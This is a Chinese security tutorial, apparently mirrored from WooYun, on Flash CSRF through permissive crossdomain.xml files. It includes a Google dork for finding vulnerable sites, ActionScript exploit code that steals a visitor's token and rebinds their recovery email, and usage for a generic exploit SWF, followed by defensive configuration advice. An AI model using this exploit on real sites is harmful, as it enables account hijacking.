Flash CSRF

wyzsk發表於2020-08-19
作者: _Dy · 2013/10/28 11:29

目錄


0x00 Flash CSRF 名詞解釋
0x01 Flash CSRF形成的原因
0x02 Flash CSRF可以幹些什麼
0x03 Flash CSRF如何利用
0x04 Flash CSRF怎麼防禦

0x00 Flash CSRF名詞解釋


CSRF(Cross-site request forgery跨站請求偽造,是一種對網站的惡意利用,CSRF則透過偽裝來自受信任使用者的請求來利用受信任的網站。

Flash CSRF通常是由於Crossdomain.xml檔案配置不當造成的,利用方法是使用swf來發起跨站請求偽造。

0x01 Flash CSRF形成的原因


So 官腔我們也打了,還是要乾點實事PS::)

為人民服務的好孩子,我們來看看如何尋找Flash CSRF:

首先我們要知道怎麼形成CSRF的

PS:CSRF形成的原因大概有以下幾種:

Flash跨域許可權管理檔案設定為允許所有主機/域名跨域對本站進行讀寫資料:

#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
    <allow-access-from domain="*"/>
</cross-domain-policy>

Flash跨域許可權管理檔案過濾規則不嚴(domain=”*”),導致可以從其它任何域傳Flash產生CSRF。

0x02 如何來發現哪些地方存在Flash CSRF


騷年們,前面我們介紹了形成Flash CSRF的原因,我們是不是就可以對站下藥了,難道又有一波個人資料被莫名被修改成“狗皮膏藥”廣告的節奏啊,敬告各位看官,看見了這篇文章之後請檢查自己的站是否存在Flash CSRF以免減少被舉報而帶來的鉅額損失啊(吊絲們對各位看官望塵莫及啊):

由上面我們得知Flash CSRF是因為跨域許可權管理檔案配置不當而產生的,所以我們可以在根目錄開啟Crossdomain.xml來檢視該網站或者只域名是否存在FLAH的CSRF:

http://www.xxx.com/crossdomain.xml

#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

0x02 Flash CSRF可以幹些什麼


在一個月黑風高的夜晚,Flash CSRF慢慢的在向XX網靠近,下面說說我是怎麼找到XX網的Flash CSRF和利用XX網的Flash CSRF直接修改訪問者賬號資訊。

無聊的逛著各大新聞網站,感覺這些大部分新聞網站的新聞源都差不多沒幾下就看完了,最後覺得自己作為天朝一員還是應該關係關係下國家大事,就懵懂懂的開啟了XX網,關心了下我國基本國情,始終耐不住寂寞,正好前兩天學習了Flash CSRF的原理和危害,但是一直沒找到東西練手,大家都知道天朝的網站是多麼的牛B,但是也只是抱著試試的心態,完全就是小孩子玩玩泥巴而已了,玩笑時間到,回到正題:),我先開啟xx網,按照剛剛前面查詢該網站是否有Flash CSRF漏洞我們第一步該判斷什麼?沒錯就是看官們看到的這樣,我也只是個凡人而已。。。。於是就有了如下的FlashCSRF漏洞查詢流程:

Google hack:crossdomain filetype:xml

#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*" secure=”true”/>
</cross-domain-policy>

Secure=true的意思是隻允許透過安全連結來請求本域的資料。

隨手檢視了發現前2個全都是需要用ssl證照加密了之後的網站裡面的Flash的檔案才能獲取本域的內容,突然之間腦海就浮現了一種奇怪的想法,自己搭建SSL網站,然後呼叫Flash檔案進去不就可以讀他們網站的資料和傳送post請求,可是又遇見瓶頸了,找了這麼多地方我Flash還沒有地方可以插的,在不屑努力下,找到BLOG根目錄下面的CrossDomain.xml檔案居然允許所有主機的Flash讀取本域的資料-PS:),下面我們就試試BLOG頁面,發現也有,當然耐心也是必須的。

0x03 Flash CSRF如何利用


我們找一個可以插入Flash的地方,插入我們自己寫的Flash,訪客訪問我們網頁就會執行我們寫的指令碼,下面我們來看看Flash CSRF具體利用方法。 So~下面我們來製造一個訪客訪問我們連結的時候,自動設定自己的密保郵箱:

首先我們新增保密郵箱點提交,然後抓包分析它提交了什麼內容,然後來構造我們的Flash CSRF利用程式碼,下面我們提交繫結保密郵箱請求,抓包分析它的資料。 申請保密郵箱,瀏覽器向服務端傳送了一個POST請求,請求地址和引數為:

POST:xxx.xxx.xx/xx.jsp?userid=xxxx&[email protected]

[email protected]ferer,但是頁面驗證了Token,所以我們就可以直接把POST資料包中的請求地址,引數名,引數值,Token值取出來用於偽造繫結保密郵箱的請求。

利用程式碼:

#!as3
package {
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.net.*;
    import flash.text.TextField;
    public class url extends Sprite
    {
        public function url()
        {
            //獲取當前頁面userid/token
            var echo_txt:TextField = new TextField();
            var targetURL:String = "http://xx.xx.cc";
            var request:URLRequest = new URLRequest(targetURL);
            request.method = URLRequestMethod.GET;
            request.data = "";
            sendToURL(request);
            var loader:URLLoader=new URLLoader();
            loader.addEventListener(Event.COMPLETE,completeHandler);
            function completeHandler(event:Event):void{
            var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];

 var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];
            echo_txt.text =  masthash;
            //偽造申請密保郵箱POST請求
            var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";
            var emailrequest:URLRequest = new URLRequest(emailtargetURL);
            emailrequest.method = URLRequestMethod.POST;
            var postdata:Object = new Array();
            postdata[0]="[email protected]&xxxx="+xxxxx&"xxxxx="+xxx;
            emailrequest.data = postdata[0];
            sendToURL(emailrequest);
            }
            loader.load(request);
        }
    }
}

我們用一個新賬號來做測試看看效果 :)

0x04 Flash CSRF怎麼防禦


知道Flash CSRF攻擊流程,然後在防禦就so easy了~:)

媽媽再也不擔心我被Flash CSRF啦~雖然各位看官都明白了怎麼防禦,但是還是照例囉嗦一下啦:

一句話概括:站點根目錄CrossDomain.xml跨域獲取資訊許可權控制好,精確到子域,不給不法分子留下機會!! 附一份自己網站的CrossDomain.xml檔案許可權配置:

#!xml
<?xml version="1.0"?>
<cross-domain-policy>
  <allow-access-from domain="http://xx.xx.com" secure="true”/>
<allow-access-from domain="http://cc.xx.com" secure="true”/>
</cross-domain-policy>

根據自己的業務需求來更改CrossDomain.xml檔案配置,切記精確到子域,這樣會大大減少Flash CSRF的風險!

通用Flash CSRF EXP : FlashCSRFexp.swf

使用方法:

FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
PS:url=[post請求的地址]&[引數值用&分開]

謝謝各位大牛捧場,十分感謝二哥,長短短,PKAV團隊的技術栽培 :)~

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!